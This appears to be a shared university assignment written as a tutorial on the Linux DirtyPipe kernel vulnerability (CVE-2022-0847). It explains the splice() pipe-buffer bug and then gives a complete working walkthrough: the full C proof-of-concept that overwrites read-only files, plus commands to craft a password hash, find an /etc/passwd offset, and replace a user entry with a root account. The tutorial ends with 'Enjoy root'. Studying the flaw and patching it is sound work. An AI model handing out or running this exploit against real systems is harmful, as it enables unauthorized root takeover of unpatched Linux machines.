Overview
- Overview
- Requirements
- Limitations
- splice()
- Exploit-Overview
- Exploitation
- Interesting Links & sources
Written by preach (was an assignment @ uni around a year ago, so i figured, why dont i just share :) )
1. Overview
DirtyPipe is a vulnerability in Linux kernels that allows attackers to manipulate read-only files and thereby escalate privileges.
**Affected Linux kernel versions:
- 5.8 - 5.16.11
- PATCHED in versions:
- 5.16.11
- 5.15.25
- 5.10.102
- Android 9 - 12, including Android T
Discovered:
- March 2022 by Max Kellermann
- Base-Score 7.8 HIGH
- Data corruption vulnerability due to incorrect pipe buffer handling
main triggers:
- splice()-Operator
- PIPE_BUF_FLAG_MERGE
2. Requirements
- Target:
- Linux with kernel 5.8 or higher (unpatched)
- Tools:
- Access to the target system and a compiler (e.g., gcc)
3. Limitations of the exploit
- Users need read permissions for the target file, as we use splice()
- Changes in the file from the first byte to the end of the file
- No changes to the first byte
- Cannot exceed the original size
- File size cannot be changed
4. Explanation splice()

splice() is basically a performance optimization.
- Moves data between a file descriptor and a pipe without the data having to cross the boundary between the address space of kernel mode and user mode
- splice() does this by not moving the actual data into the pipe, but rather the reference to this data in the pipe → now the pipe contains the reference to the location of the page cache in memory where the desired data is stored, and no longer the actual data itself.
5. Overview of the exploit

- To exploit this vulnerability, you must: create a pipe, fill the pipe with arbitrary data (by setting the PIPE_BUF_FLAG_CAN_MERGE flag for all entries in the ring), empty the pipe (leave the flag set for all instances of the pipe_buffer structure in the structure). of the pipe_inode_info ring), insert the data from the target file (opened with O_RDONLY) into the pipe just before the target offset, and write arbitrary data to the pipe.
6. Exploitation
Step 1: Search for vulnerable kernels
Check kernel version (target computer):
uname -r
The version should be between 5.8 and 5.16.11.
OR we use Dirty-Pipe-Checker:
git clone https://github.com/basharkey/CVE-2022-0847-dirty-pipe-checker
2. Transfer to target computer (if the repo has not been cloned on the target computer)
3. Execute the dpipe.sh file
bash dpipe.sh
Step 2: Understanding the concept
DirtyPipe exploits a vulnerability in pipe caching and memory management. This allows:
- Write access to read-only files.
- Privilege escalation, for example by modifying critical files such as /etc/passwd.
- There are several proof-of-concepts for the exploit:
- Dirty Pipe Exploits interesting GitHub repository:
- https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
- Exploit-1: Modifying/overwriting read-only files (Max Kellermann’s exploit “automated”)
- Exploit-2: Hijacking SUID binaries
- Other PoCs
However, I will focus on the PoCs from Max Kellermann’s official blog post.
Schritt 3: Proof-of-Concept (PoC)
/etc/passwd
Schritt 3.1
Creating a C file using text editors (I use Nano for this):
nano PoC.cInserting the PoC from this website: Dirty_Pipe MUST be a C-file!!!
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}
/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
return EXIT_SUCCESS;
}Step 3.2
Generate a password hash that will later overwrite a paswd entry
openssl passwd -6 --salt {USERNAME} "{PASSWORT}"
Here, I chose:
- Username: DIS
- Password: DIS ⇒ Hash
Step 3.3
Getting it into the right “form” for the exploit
USERNAME:HASH:0:0::/root:/bin/bash
To do this, I created a simple text file just to apply this form:

Step 3.4
Find the offset of the /etc/passwd file where we start using the exploit In short: Which user do we overwrite?
cat /etc/passwd
I chose the user “games”, but you could just as easily choose the user “news.”
Offset
How do we now obtain the offset of the user “games”?
grep -b "games" /etc/passwd
The offset here is 189, which is the first number of the output.
Step 3.5
Compiling the exploit
Requirements:
- gcc or other C compilers
gcc PoC.c -o exploit
ls
Step 3.6
Executing the exploit
./exploit {targetfile} {Offset} '{USERNAME:HASH:0:0::/root:/bin/bash}
> 'Here, we use the hash that we created in the text file above.

Switching the user to the user we created:
su {USERNAME}
Password:
{OUR selected password}Step 3.7
Enjoy root ;-)
7. Interesting Links & sources
- https://academy.hackthebox.com/module/51/section/1597 (Man benötigt eine Subscription)
- https://tryhackme.com/r/room/dirtypipe
- Offizielles Writeup/Blog-Post: https://dirtypipe.cm4all.com/
- https://www.youtube.com/watch?v=S5uM6SSkAh8
- https://www.youtube.com/watch?v=wIYVVghSqSY
- https://www.youtube.com/watch?v=73D4BHM5Bnc